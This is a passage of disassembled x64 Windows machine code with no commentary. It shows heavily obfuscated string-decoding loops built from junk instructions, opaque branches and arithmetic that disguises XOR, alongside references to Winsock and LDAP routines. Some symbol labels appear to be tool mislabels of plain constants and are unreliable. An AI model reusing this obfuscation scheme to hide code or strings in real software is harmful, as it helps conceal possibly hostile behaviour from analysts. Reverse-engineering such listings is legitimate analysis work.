and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
inc r9
dec rdi
inc rdi
jmp 0x1400831b2
movabs rdx, 0x2fcf844834533c90
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400831b2
movabs rdx, 0xf0c9dd349796e788
mov ecx, 0x24
jmp 0x140083e54
movabs rcx, 0xb1c43620fada9280
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
jmp 0x140083e91
movabs rcx, 0x72be8f0d5e1e3d78
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400831b2
movabs rcx, 0x33b8e7f9c161e870
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x140083c8a
movabs rdx, 0xf4b340e624a59368
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140083d02
movabs rdx, 0xb5ad99d287e93e60
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xd18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400831b2
movabs rdx, 0x181f7821801269cc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
mov byte [rbp + rdi + 0xd18], r11b
inc rdi
jmp 0x1400831b2
movabs rcx, 0xd919d10de35614c4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
cmp r9, 8
jb 0x140083654
movabs rcx, 0x8e2048e83984f098
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x50]
jmp 0x140083dbc
movabs rcx, 0x9a1429fa4699bfbc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
cmp r8, 0x7a
jae 0x140083c36
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x140083b2a
movabs rdx, 0x17e7c2241a299e48
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140083682
movabs rdx, 0x5b0e82e6a9dd6ab4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0x61
je 0x140083c5f
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x140083a0a
movabs rdx, 0x822c67d62c702174
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x1400836cb
movabs rdx, 0x82641dd39258ecf8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xd18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400831b2
movabs rdx, 0x435e76bff59c97f0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140083d16
movabs rcx, 0x458cfac58e042e8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x140083c8a
movabs rcx, 0xc5532898bc23ede0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400831b2
movabs rdx, 0x864d81851f6798d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140083e91
movabs rdx, 0x4747da7182ab43d0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140083e68
movabs rcx, 0x842335de5eeeec8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
dec rdi
inc rdi
jmp 0x1400831b2
movabs rcx, 0xc93c8c4a493299c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
inc r9
dec rdi
inc rdi
jmp 0x1400831b2
movabs rcx, 0x8a36e536ac7644b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x140083dbc
lea rax, [r9 + 8]
cmp r8, rax
jae 0x140083925
movabs rdx, 0x1f82d389ce5e2a84
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140083730
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140083967
movabs rdx, 0x2b76b49bdb72f9a8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xd18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400831b2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400839a3
movabs rcx, 0xe887a9d6b1a7f8c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400831b2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400839cf
movabs rcx, 0x278d50ea4e644dc8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x78
jmp 0x140083e91
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140083730
movabs rdx, 0xa5989f1187dcf7d8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x1400831b2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140083a3a
movabs rdx, 0xc1320ee9c92c767c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x64
add r11b, dl
jmp 0x140083dbc
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140083a71
movabs rdx, 0x3f3d5d1102a5208c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
dec rdi
inc rdi
jmp 0x1400831b2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140083a9d
movabs rcx, 0xbd48ab383c1dca9c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x140083e91
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140083ac8
movabs rdx, 0x3b53f95f759674ac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140083c84
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140083ae9
movabs rdx, 0x7a59a0731252c9b4
mov ecx, 0xa
jmp 0x140083d02
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400836cb
movabs rcx, 0xb95f4786af0f1ebc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
movzx eax, byte [rbp + rdi + 0xd18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400831b2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140083b67
movabs rcx, 0x56ed6937b6e5f350
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
movzx eax, byte [rbp + rdi + 0xd18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400831b2
inc rax
cmp r8, rax
jne 0x140083b96
movabs rdx, 0x95f3104b53a24858
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x68
add r11b, dl
jmp 0x140083d16
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140083bc7
movabs rdx, 0xd4f8b75ef05e9d60
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140083c8a
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140083c01
movabs rdx, 0x1014fac1000c4688
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
jmp 0x1400831b2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140083682
movabs rdx, 0x4f1aa1d49cc89b90
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140083dbc
movabs rdx, 0xcd25effbd64145a0
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0xd18]
sub r11b, al
sub r11b, 0x60
jmp 0x140083e62
movabs rdx, 0xc2b970f72fd9aa8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0xd18]
add r11b, bl
add r11b, dl
movabs rcx, 0x2bae6a99415bc52c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x34
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xd18], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140083d16
movabs rdx, 0xccee39fe70587a1c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xd18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400831b2
movabs rdx, 0x8de892ead39c2514
mov ecx, Ordinal_60
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x4b313e230fb9efb0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0xd18], cl
inc r8
mov rax, r15
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xd18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400831b2
movabs rdx, 0x91d1f69c60aad0f4
mov ecx, Ordinal_45
jmp 0x140083e54
movabs rcx, 0x13c6a875273226e4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
inc r9
dec rdi
inc rdi
jmp 0x1400831b2
movabs rcx, 0xd4c101618a75d1dc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
movabs rdx, 0xada31c7207e31b1c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xd18], cl
inc r9
dec rdi
inc rdi
jmp 0x1400831b2
movabs rcx, 0x17b00c26b440d2c4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
inc r9
dec rdi
inc rdi
jmp 0x1400831b2
movabs rcx, 0xd8aa651317847dbc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
dec rdi
inc rdi
jmp 0x1400831b2
movabs rdx, 0x99a4bdff7ac828b4
mov ecx, 0xa
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0xeca8c385a49f7024
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xd18], cl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400831b2
movabs rdx, 0x5e887a9d6b1a7f8c
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xd18]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400831b2
movabs rcx, 0x5ef7e69836ec1694
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
jmp 0x1400831ae
movabs rdx, 0x1ff23f849a2fc18c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14008319b
lea rcx, [rbp + 0x1449dc8]
jmp 0x140083f4d
lea rcx, [rbp + 0x62c84c]
jmp 0x140083f4d
lea rcx, [rbp + 0xd18]
mov dword [rbp + 0xf10], 0x3e8
mov dword [rbp + 0xf18], 0xa
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0xf10]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf18]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.140037d20
mov byte [rbp + 0xd40], Ordinal_50
mov byte [rbp + 0xd41], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0xd42], Ordinal_45
mov byte [rbp + 0xd43], 0x64
mov byte [rbp + 0xd44], 0x84
mov byte [rbp + 0xd45], 0x84
mov byte [rbp + 0xd46], 0x7a
mov byte [rbp + 0xd47], 0x88
mov byte [rbp + 0xd48], 4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd49], xmm0
mov qword [rbp + 0xd59], rax
mov word [rbp + 0xd61], ax
movabs rsi, 0x1fe1390682552216
movabs r14, 0x301d3f0769ea8302
movabs r12, 0xf2662b9bb03cbf2a
movabs r13, 0x124764a23291e140
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
movabs rdx, 0x1315a5c82bbbd136
movabs rcx, 0xd38aa1e5d365dd3e
cmp rdi, 0x23
jae 0x140084915
movzx r11d, byte [rbp + rdi + 0xd40]
mov ebx, r11d
nop dword [rax]
cmp r8, rdi
ja 0x140084909
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140084096
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
sub r10b, 0xe
movabs rcx, 0xd38aa1e5d365dd3e
jmp 0x1400840c3
je 0x14008487f
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400847df
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008479f
lea rax, [r9 + 7]
cmp r8, rax
je 0x140084746
cmp r9, rdi
ja 0x1400848fd
lea rax, [r9 + 9]
cmp r8, rax
jae 0x1400840f5
lea rcx, [rdi + r12]
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x26
add r10b, cl
jmp 0x140084130
lea rax, [r9 + 1]
cmp r8, rax
je 0x140084721
inc rax
cmp r8, rax
je 0x1400846f3
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400846d1
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400846c3
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14008430e
nop dword [rax]
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400842e6
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400842b5
lea rax, [r9 + 9]
cmp r8, rax
je 0x140084290
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140084140
lea r8, [r9 + 4]
lea r9, [r8 + 9]
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400848d8
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400848b3
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400841ee
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140084140
lea r8, [r9 + 0x5a]
lea r9, [r8 + 3]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140084257
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14008422f
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008420e
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140084140
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x41]
jmp 0x140084140
lea rdx, [rdi + rsi]
movzx eax, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140084130
lea rcx, [rdi + r13]
movzx eax, r11b
and al, cl
mov r10d, reloc.WLDAP32.dll_Ordinal_32
sub r10b, al
add r10b, r10b
add r10b, r11b
add r10b, cl
jmp 0x1400847c3
movabs rcx, 0xf197ea75b712cf34
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6c
add r10b, cl
jmp 0x140084835
movabs rcx, 0x915d6c66e33dc930
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x50
add r10b, cl
movzx eax, byte [rbp + rdi + 0xd40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084032
movabs rcx, 0x2d7b0d6ad21862ec
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x74
jmp 0x1400847c3
movabs rcx, 0xccb933e569950e0
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x20
add r10b, cl
inc r9
dec rdi
inc rdi
jmp 0x140084032
movabs rcx, 0xac91152f82c44adc
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 4
add r10b, cl
jmp 0x140084769
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400843dc
lea rcx, [rdi + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
lea rax, [r9 + r8]
cmp rax, 0x20
je 0x140084695
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x1400844b1
movabs rdx, 0x76f804c43ce1377a
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x56
add r10b, dl
cmp r8, 6
jae 0x140084639
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14008457d
movabs rcx, 0x695e305fed1df6a4
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7c
cmp r9, 0x200
jb 0x140084629
movabs rdx, 0x2ba71cf4337032cc
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea r10d, [rcx*2 - 0x28]
jmp 0x140084769
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008441b
movabs r10, 0xe4cc573760797e54
add r10, rdi
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x4c
add r10b, r11b
movzx eax, byte [rbp + rdi + 0xd40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084032
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008444d
movabs rdx, 0x65b64f72afcd9664
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400847c3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008447f
movabs rdx, 0xc5f0cd8183a29c68
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140084665
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140084331
movabs rdx, 0xe6a047adff21ae74
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2c
jmp 0x140084766
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400844e3
movabs rdx, 0xd73282d310b63d7e
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x72
jmp 0x140084766
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008451b
movabs rdx, 0x97a77ef0b8604986
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rdi
inc rdi
jmp 0x140084032
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008454c
movabs rcx, 0x1891772c07b46196
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1a
jmp 0x140084801
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008436f
movabs rcx, 0x78cbf53adb89679a
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x36
jmp 0x140084835
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400845c0
movabs rdx, 0xc998ae6ec0f2fca8
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rdi + 0xd40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084032
inc rax
cmp r8, rax
jne 0x1400845f1
movabs rdx, 0x29d32c7d94c802ac
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140084835
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400843a5
movabs rcx, 0xaf7a2c7b7f120c0
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x40
dec rdi
inc rdi
jmp 0x140084032
mov byte [rbp + rdi + 0xd40], r10b
inc rdi
jmp 0x140084032
movabs rdx, 0x8be19b03074538d0
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rdi + 0xd40]
add r10b, r11b
add r10b, dl
movabs rdx, 0xbbfeda0a712fbbd2
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0xd40], cl
jmp 0x1400847c3
movabs rdx, 0xec1c1911db1a3ed4
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rdi + 0xd40]
add r10b, r11b
jmp 0x1400847fe
lea rdx, [rdi + rcx]
mov ecx, Ordinal_41
jmp 0x1400847b1
lea rcx, [rdi + rdx]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7a
dec rdi
inc rdi
jmp 0x140084032
movabs rcx, 0xb2db27b957e6cb32
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5e
inc r9
dec rdi
inc rdi
jmp 0x140084032
movabs rdx, 0x52a0a9aa8411c52e
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x42
jmp 0x140084766
movabs rdx, 0x922bad8cdc67b926
add rdx, rdi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xa
add r10b, dl
movabs rdx, 0x5bc45bfb9d5ab5ce
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0xd40], cl
inc r9
dec rdi
inc rdi
jmp 0x140084032
movabs rdx, 0x1141b5518d13a116
add rdx, rdi
mov ecx, 0x33
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx ecx, r10b
add r8, r9
mov rax, r15
sub rax, rcx
movzx r10d, cl
add rdi, rax
inc rdi
jmp 0x140084032
movabs rdx, 0x50ccb933e569950e
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x62
add r10b, dl
movabs rdx, 0x1c3958194504c1d6
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xd40], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x4c569720aeef44d8
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rdi + 0xd40], cl
inc r8
mov rax, r15
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xd40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084032
movabs rcx, 0x9057bd163dbf8906
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x2a
movzx eax, byte [rbp + rdi + 0xd40]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140084032
movabs rcx, 0xff31beda06d6100a
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x46
jmp 0x14008402e
movabs rcx, 0x9ef740cb33010a06
add rcx, rdi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2a
jmp 0x140084016
lea rsi, [rbp + 0x1501298]
jmp 0x14008491c
lea rsi, [rbp + 0x17a959a]
jmp 0x14008491c
lea rsi, [rbp + 0xd40]
lea rdx, [0x140236db0]
lea rcx, [rbp + 0x5c0]
call fcn.140002660
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x20]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002800
cmp byte [rdi + 0x38], 0
jne 0x1400a3083
mov byte [rbp + 0xd68], 0x5a
mov byte [rbp + 0xd69], 0x7a
mov byte [rbp + reloc.WS2_32.dll_listen6a], 0xd
mov byte [rbp + 0xd6b], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd6c], WSACleanup
mov byte [rbp + 0xd6d], recv
mov byte [rbp + 0xd6e], WSACleanup
mov byte [rbp + 0xd6f], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xd70], 0x9e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd71], xmm0
mov qword [rbp + 0xd81], rax
mov word [rbp + 0xd89], ax
movabs r14, 0xa358502fd85ef7ff
movabs r12, 0xd7aa12c2c8ee81e1
movabs r13, 0xafba0b1fc083f05b
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r9, qword [0x14023d108]
mov r8, qword [0x14023d100]
nop
xor ebx, ebx
movabs rcx, 0x13f803d1843548c3
cmp rbx, 0x23
jae 0x140085622
movzx r11d, byte [rbp + rbx + 0xd68]
mov rdx, r11
cmp r9, rbx
ja 0x140085616
lea rax, [r8 + 1]
cmp r9, rax
jae 0x140084a44
add rcx, rbx
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x55
jmp 0x140084a64
je 0x14008558d
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400854ef
lea rax, [r8 + 4]
cmp r9, rax
je 0x14008548a
cmp r8, rbx
ja 0x14008560a
lea rax, [r8 + 5]
cmp r9, rax
jae 0x140084a96
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 7
add r10b, dl
jmp 0x140084ae0
lea rax, [r8 + 1]
cmp r9, rax
je 0x140085435
